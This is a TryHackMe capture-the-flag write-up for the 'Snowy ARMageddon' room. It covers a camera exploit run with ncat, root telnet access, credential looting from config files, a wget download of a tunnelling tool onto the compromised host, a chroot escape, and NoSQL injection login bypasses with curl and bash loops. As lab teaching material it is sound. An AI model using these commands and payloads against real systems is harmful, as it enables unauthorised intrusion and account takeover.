Snowy ARMageddon - Write-up - TryHackMe

Information

Room#

  • Name: Snowy ARMageddon
  • Profile: tryhackme.com
  • Difficulty: Insane
  • Description: Assist the Yeti in breaching the cyber police perimeter!

Snowy ARMageddon

This is the Side Quest Challenge 2 of Advent of Cyber '23 Side Quest (advanced bonus challenges alongside Advent of Cyber 2023).

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap nmap-parse-output ffuf perl inetutils

Challenge#

Network enumeration#

Scan network ports and services with nmap:

➜ sudo nmap -sSVC 10.10.157.185 -T4 -p- -v --open --reason -oA nmap
➜ nmap-parse-output nmap.xml group-by-service
- Service ssh on:
  - 10.10.157.185:22; product: OpenSSH; version: 8.2p1 Ubuntu 4ubuntu0.9
- Service tcpwrapped on:
  - 10.10.157.185:23
- Service http on:
  - 10.10.157.185:8080; product: Apache httpd; version: 2.4.57
- Service unknown on:
  - 10.10.157.185:50628

Web enumeration#

At http://10.10.157.185:8080/, only an error page without information is available. We may need to look for other directories and files at the root of the web server.

There is a demo page displaying ErrorDocument 403 /var/www/html/403.html and not so many other files.

➜ ffuf -u http://10.10.157.185:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

demo                    [Status: 200, Size: 41, Words: 3, Lines: 2, Duration: 69ms]
➜ ffuf -u http://10.10.157.185:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fs 933

Unintendedly exposed?

There is another website on port 50628, but the port closed when scanned with nmap (too quickly?).

http://10.10.157.185:50628/en/login.asp

It sounds like an administration page to monitor and configure a camera.

  • Software brand: Trivision
  • Camera: NC-227WF HD 720P

The page linked are authenticated and some basic credentials won't work. So let's see if there are some known vulnerabilities on this software.

OSINT#

Let's search for exploit trivision camera:

Reverse engineering (skipping)#

I'm clueless when it comes to reverse engineering, and I'm not interested into that part. So rather than trying to play with assembly to modify the shell code (transform my IP address and port into ARM ASM) I'll rather read another write-up solution and copy a ready-to-go PoC for that part:

  • WU n°1: perl script, doesn't require getting a reverse shell or something, will just enable login over telnet without credentials.
  • WU n°2: python script doing the same
➜ perl exploit.pl| ncat 10.10.157.185 50628
➜ telnet 10.10.157.185 23

System enumeration#

We are root on a minimal busybox without many commands installed. find is not available, so we'll have to rely on ls.

  • /home/web is the root of the web server
  • /etc/webs/ stores some config for the web server
# ls -lh /etc/webs/
-rw-------    1 root     root         154 Dec  3  2023 passwd
lrwxrwxrwx    1 1000     1000          21 Feb  6  2017 umconfig.txt -> /var/etc/umconfig.txt
lrwxrwxrwx    1 1000     1000          17 Feb  6  2017 webs.acc -> /var/etc/webs.acc
lrwxrwxrwx    1 1000     1000          21 Feb  6  2017 webs.conf -> /var/config/webs.conf

# cat /var/etc/umconfig.txt
TABLE=users

ROW=0
name=admin
password=EDITED
group=administrators
prot=0
disable=0

We found the administrator user credentials for the web app on the configuration file.

First flag#

Now we can go back on the web login page and authenticate with the looted credentials.

There is a flag on the home page (http://10.10.157.185:50628/en/player/mjpeg_vga.asp).

Pivoting (tentative)#

It looks like from the machine we have another behavior on the web server on port 8080, it's asking for credentials instead of just having a HTTP 403.

# curl http://10.10.157.185:8080/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.57 (Debian) Server at 10.10.157.185 Port 8080</address>
</body></html>

Browsing with curl is not handy, and there is no tool from the busybox that can be used for pivoting, so let's upload a static binary on it. But first let's check the architecture:

# cat /proc/cpuinfo
Processor       : ARM926EJ-S rev 5 (v5l)
BogoMIPS        : 540.67
Features        : swp half fastmult vfp edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 5

Hardware        : ARM-Versatile PB
Revision        : 0000
Serial          : 0000000000000000

We have some ARM v5.

And that's great that chisel pre-compiled binaries are available for many architectures including ARM v5.

# Download chisel pre-compiled binary for ARM v5
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_armv5.gz
# Uncompress
7z x chisel_1.9.1_linux_armv5.gz
# Remove archive
rm chisel_1.9.1_linux_armv5.gz
# Serve with HTTP server
mv chisel ~/Public
ruby -run -ehttpd ~/Public -p7000

From the camera host:

# cd /tmp/
# wget http://10.18.17.12:7000/chisel
# chmod +x chisel
# ./chisel server -p 9999 --host 10.10.157.185 --socks5 -v

Unfortunately this build was crashing on the server.

Chroot escape#

Before finding an alternative, let's remember we are in a chroot:

# ps

  421 root       888 S    dcron -L /dev/null
  427 root      1068 S    /usr/sbin/dropbear -p 22222 -R
  438 root       912 S    /sbin/agetty -p -L ttyAMA0 115200 vt100
  439 root      1092 S    /usr/sbin/dropbear -p 22222 -R
  440 root      2704 S    {run-init} /bin/bash ./run-init
  463 root       908 S    script -a -f -c chroot /emux/TRI227WF/rootfs /.emux/emuxinit /home/r0/workspace/logs/emuxdebug.log
  464 root       892 S    {emuxinit} /bin/sh /.emux/emuxinit

We can escape from chroot:

# /proc/1/root/usr/sbin/chroot
/proc/1/root/usr/sbin/chroot: can't load library 'libtirpc.so.3'
# LD_LIBRARY_PATH="/proc/1/root/usr/lib:$LD_LIBRARY_PATH" /proc/1/root/usr/sbin/chroot /proc/1/root
/ # id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
/ # uname -a
Linux NC-227WF-HD-720P 2.6.28 #7 PREEMPT Sun Apr 18 13:52:32 IST 2021 armv5tejl GNU/Linux

We were previously trapped in /emux/TRI227WF/rootfs.

We have now access to binaries that could help for pivoting like dropbear (SSH server) or socat (socket utility with proxy support).

~ # dropbear -V
Dropbear v2020.81
~ # socat -V
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
socat version 1.7.4.1 on Apr 20 2021 13:48:47
   running on Linux version #7 PREEMPT Sun Apr 18 13:52:32 IST 2021, release 2.6.28, machine armv5tejl

Note: no need for uploading static binary because after escaping the chroot you can use the host socat, but for what we have to do we don't even need socat, curl is enough and curl is available from the chroot, so we didn't even need to escape.

NoSQLi#

So as we saw with the HTTP 401, http://10.10.157.185:8080/ is asking for credentials. Let's re-use the ones we found earlier.

With credentials, basic authentication worked, but we are now redirected to /login.php. -u ignore provides the credentials for authentication, --basic is the authentication method by default so no need to provide it, -I to show the response headers instead of the body.

# curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/ -I
HTTP/1.1 302 Found
Date: Mon, 22 Jan 2024 19:55:01 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.1.26
Set-Cookie: PHPSESSID=c23e41690571795561e549fa4c1fac47; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login.php
Content-Type: text/html; charset=UTF-8

Let's add -L to follow redirections.

curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/ -L

We have a login form. Let's try to perform a POST request to authenticate.

# curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -L -X POST -d 'username=admin&password=admin'

        <!-- Error message -->
                  <p class="py-4 mt-3 text-center bg-thm-900 text-sm text-red-500 border rounded-md border-red-500">
            Invalid username or password          </p>
              </div>

We can see tehre is an error message Invalid username or password, let's try the same admin credentials.

# curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -L -X POST -d 'username=admin&password=Y3tiStarCur%21ouspassword%3Dadmin'

        <!-- Error message -->
                  <p class="py-4 mt-3 text-center bg-thm-900 text-sm text-red-500 border rounded-md border-red-500">
            Invalid username or password          </p>
              </div>

Same. Let's try some injections then.

Trying a single quote for SQL injection ('username=admin&password=%27') gives the same result.

Trying a NoSQL injection paylod using [$ne] shows a redirection like if the authentication was a success. -D is for displaying the headers to a file, -D - to display them to STDOUT. -o is for saving the output to a file, -o /dev/null to hide the output (body) so we can see only the headers.

# curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d 'username[$ne]=noraj&password[$ne]=noraj' -D - -o /dev/null
HTTP/1.1 302 Found
Date: Mon, 22 Jan 2024 20:28:48 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.1.26
Set-Cookie: PHPSESSID=28b57743a7d161652838a8ebf40581f6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /
Content-Length: 2342
Content-Type: text/html; charset=UTF-8

If we are redirected, we will need to store cookies somewhere, else we won't be authenticated on next request and will be redirected to the login page again. For that we can use -c to store cookies to a file and get session persistence.

# curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d 'username[$ne]=noraj&password[$ne]=noraj' -L -c /tmp/cookies | grep -E 'title|h1'
  <title>TryHackMe | Cyber Police Dashboard</title>
          <h1 class="text-3xl font-bold leading-tight text-center text-gray-100 ">Welcome Frostbite!</h1>

But nothing interesting in the response when connected as Frostbite. Maybe we need to get another user. admin doesn't sound to exist. If we weren't lazy enough to use socat to get a proxy, we could have used a blind NoSQLi extraction script using [$regex] to get the username and even the password. But we're to lazy right? 😏 And (some of) lazy persons tend to be the smartest engineers. In the end, you have to get nice idea and efficient solutions in order to save you efforts. So let's keep with curl (and bash).

1st solution to enumerate users (less reliable)#

One way would be to take a list of common users on TryHackMe Advent of Cyber and make a short bash loop.

Common AoC users:

BanditYeti
Santa
McGreedy
McSkidy
Frosteau
McHoneyBell

Proper script template:

users=("BanditYeti" "Santa" "McGreedy" "McSkidy" "Frosteau" "McHoneyBell")
for user in "${users[@]}"
do
    echo $user
done

Shorter script tempalte:

for user in BanditYeti Santa McGreedy McSkidy Frosteau McHoneyBell
do
    echo $user
done

One-line script template:

for user in BanditYeti Santa McGreedy McSkidy Frosteau McHoneyBell; do echo $user; done

Final script with real payload:

for user in BanditYeti Santa McGreedy McSkidy Frosteau McHoneyBell; do curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d "username=$user&password[\$ne]=noraj" -L -c /tmp/cookies | grep -oE 'Welcome (.+)!' ; done

Output:

Welcome Frosteau!

So the only valid user is Frosteau.

2nd solution to enumerate users (more reliable)#

It's still a bit of effort to write bash. And more seriously we got lucky the username was in our list. So let's find something more reliable (and smarter / more elegant).

We can use NoSQL $nin operator (not in) to exclude some results (the ones we already found and that are giving nothing).

# curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d 'username[$nin][]=Frostbite&password[$ne]=noraj' -L -c /tmp/cookies | grep -oE 'Welcome (.+)!'
Welcome Snowballer!

Let's keep adding to the list:

# curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d 'username[$nin][]=Frostbite&username[$nin][]=Snowballer&password[$ne]=noraj' -L -c /tmp/cookies | grep -oE 'Welcome (.+)!'
Welcome Slushinski!

Let's enhance this to build the payload dynamically as it can keep going long (we lost, we'll write bash).

payload="username[%24nin][]=Frostbite"
for user in Snowballer Slushinski
do
    payload="$payload&username[%24nin][]=$user"
done
curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d "$payload&password[\$ne]=noraj" -L -c /tmp/cookies | grep -oE 'Welcome (.+)!'

Replace $ with %24 (url-encoded) so we don't have to deal with shell escaping. The shell is old, in newer bash (4.4+) we could use ${payload@Q} syntax instead, allowing escaping so $nin doesn't get interpreted.

So the full list of users is:

Frostbite
Snowballer
Slushinski
Blizzardson
Tinseltooth
Snowbacca
Grinchowski
Scroogestein
Sleighburn
Northpolinsky
Frostington
Tinselova
Frostova
Iciclevich
Frostopoulos
Grinchenko
Snownandez
Frosteau

Let's see a size difference in response ouput: (yeah still bash now tha twe are used to it)

for user in Frostbite Snowballer Slushinski Blizzardson Tinseltooth Snowbacca Grinchowski Scroogestein Sleighburn Northpolinsky Frostington Tinselova Frostova Iciclevich Frostopoulos Grinchenko Snownandez Frosteau
do
  curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d "username=$user&password[\$ne]=noraj" -L -c /tmp/cookies | wc -c
done

Output:

3512
3514
3513
3512
3513
3512
3511
3512
3513
3513
3511
3510
3509
3510
3512
3510
3513
13899

Second flag#

So Frosteau get a way larger response, let's see what is displayed for this user.

# curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d "username=Frosteau&password[\$ne]=noraj" -L -c /tmp/cookies | grep -oE '<li .+>(.+)</li>'
<li class="text-sm mt-3 font-medium ml-6">yetikey2.txt</li>
<li class="text-sm mt-3 font-medium ml-6">EDITED</li>

Conclusion#

In the end, it may have been quicker and less painful to use socat, but at least, this way we learned a bit of bash-fu and curl-fu.

Share